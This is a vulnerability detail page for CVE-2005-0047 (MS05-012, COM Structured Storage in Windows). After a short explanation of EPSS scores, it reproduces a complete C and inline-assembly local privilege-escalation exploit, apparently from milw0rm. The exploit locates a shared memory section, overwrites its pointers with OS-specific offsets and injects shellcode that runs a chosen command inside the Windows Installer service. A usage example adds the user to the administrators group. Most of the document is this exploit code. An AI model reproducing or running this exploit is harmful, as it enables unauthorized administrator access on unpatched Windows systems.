CVE-2005-0047 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// by Cesar Cerrudo - Argeniss - www.argeniss.com // MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit // // More exploits at www.argeniss.com/products.html // // Works on Win2k sp4, WinXP sp2, Win2k3 sp0 // Close all runing programs to avoid possible problems // If it finds the section and it doesn't work remove section permissions // from msiexec service process with WinObj or crash the msiexec service and try again // if offsets don't work, debug and change them #include <windows.h> #include <stdio.h> typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef struct _OBJDIR_INFORMATION { UNICODE_STRING ObjectName; UNICODE_STRING ObjectTypeName; BYTE Data[1]; } OBJDIR_INFORMATION; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; UNICODE_STRING *ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES; #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine); MSIINSTALLPRODUCT MsiInstallProduct; typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* ); NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject; typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* ); NTOPENDIRECTORYOBJECT NtOpenDirectoryObject; DWORD WINAPI LoadWinInstaller(LPVOID lpParam) { HMODULE hMsi; hMsi = LoadLibrary("msi.dll"); MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA"); //run unistall , without permissions this makes a windows pop up //while this window is showing the shared section is created and available on Windows Installer service process MsiInstallProduct((char*)lpParam,"REMOVE=ALL"); return 0; } int main(int argc, char* argv[]) { OBJDIR_INFORMATION *ssinfo =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800); HANDLE hFile,hThread,hMapFile; HMODULE hNtdll ,hKernel; DWORD dwThreadId; OBJECT_ATTRIBUTES obj; WCHAR * uString=L"\\BaseNamedObjects"; UNICODE_STRING str; DWORD i,a,iStrLen,b=0; char sObjName[30],sTmp[50]; LPVOID lpMapAddress; FARPROC pWinExec,pExitThread; bool bFound; char* sCommand; if (!argv[1]||!argv[2]) { printf("\nUsage :\n SSExploit \"Applicatoin to uninstall\" \"command\" \n"); printf("\nExamples :\n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n"); exit(0); } iStrLen=strlen(argv[2]); if(iStrLen>=65){ printf("\n\"command\" must be less than 65 chars.\n"); exit(0); } sCommand=argv[2]; hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId); Sleep(3000); hNtdll = LoadLibrary("ntdll.dll"); NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject"); NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject"); str.Length=wcslen(uString)*2; str.MaximumLength =wcslen(uString)*2+2; str.Buffer =uString; InitializeObjectAttributes (&obj, &str, 0, 0, 00); NtOpenDirectoryObject(&hFile,0x20001,&obj); printf("\nSearching for Shared Section...\n\n"); // Get all objects names under \BaseNamedObjects if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){ do{ bFound=NULL; while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){ //check if it's a section name if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){ for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){ sObjName[i]=(char)ssinfo->ObjectName.Buffer[i]; } //check if it's the one we are searching for if (!strncmp(sObjName,"DfSharedHeap",12)){ bFound=1; break; } } } if (bFound) printf("Shared Section Found: %s\n",sObjName); else { printf("Shared Section Not Found"); exit(0); } strcpy(sTmp,"Global\\"); strcat(sTmp,sObjName); //append global prefix to support Terminal Services hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp); //the shared section name couldn't be the one we are searching for if (hMapFile == NULL) printf("Could not open Shared Section\n\n"); else printf("Shared Section opened\n\n"); } while (hMapFile == NULL) ; lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0); if (lpMapAddress == NULL) { printf("Could not map Shared Section"); exit(0); } else printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n"); hKernel=LoadLibrary("Kernel32.dll"); pWinExec=GetProcAddress(hKernel,"WinExec"); pExitThread=GetProcAddress(hKernel,"ExitThread"); _asm{ mov eax,fs:[30h] // get pointer to PEB mov eax,[eax+0A8h] // get OS minor version cmp eax,0x0 jz W2ksp4 cmp eax,0x1 jz WinXPsp2 jmp Win2K3 // address of section seems static on same OS version W2Ksp4: mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer mov edx,0x01020004 // address of shellcode jmp Done WinXPsp2: mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer mov edx,0x00870004 // address of shellcode jmp Done Win2K3: mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer mov edx,0x007C0004 // address of shellcode Done: mov ebx,lpMapAddress mov ecx, 0x1000 l00p: // overwrite section data, so overwriten structures will point to shellcode mov dword ptr[ebx],eax sub ecx,0x4 add ebx,0x4 cmp ecx,0x0 jnz l00p mov ebx,lpMapAddress //address of shellcode mov dword ptr[ebx],edx //start copying shellcode lea esi, Shellcode lea edi, [ebx+4] lea ecx, End sub ecx, esi push esi push edi cld rep movsb pop edi pop esi push edi lea ecx, CommandBuf sub ecx, esi add edi, ecx mov esi, sCommand mov ecx, iStrLen rep movsb mov [edi], 0x00 pop edi mov esi, pWinExec mov [edi+0x5], esi mov esi, pExitThread mov [edi+0x9], esi } printf("Command should have been executed ;)\n"); CloseHandle(hMapFile); } else printf("Couldn't get object names \n"); return 0; _asm{ Shellcode: call getDelta // this gets overwrited mov ax,0xffff mov ax,0xffff CommandBuf: // this gets overwrited mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 mov dword ptr[eax],0x55555555 getDelta: pop edx // Get shellcode/shared section pointer push edx // save edx push 0x1 // push 0x0 for hidden window lea eax, [edx+0x8] push eax // Command offset call [edx] // Call WinExec pop edx call [edx+0x4] // Call ExitThread to avoid msiexec service to crash End: } } // milw0rm.com [2005-05-31]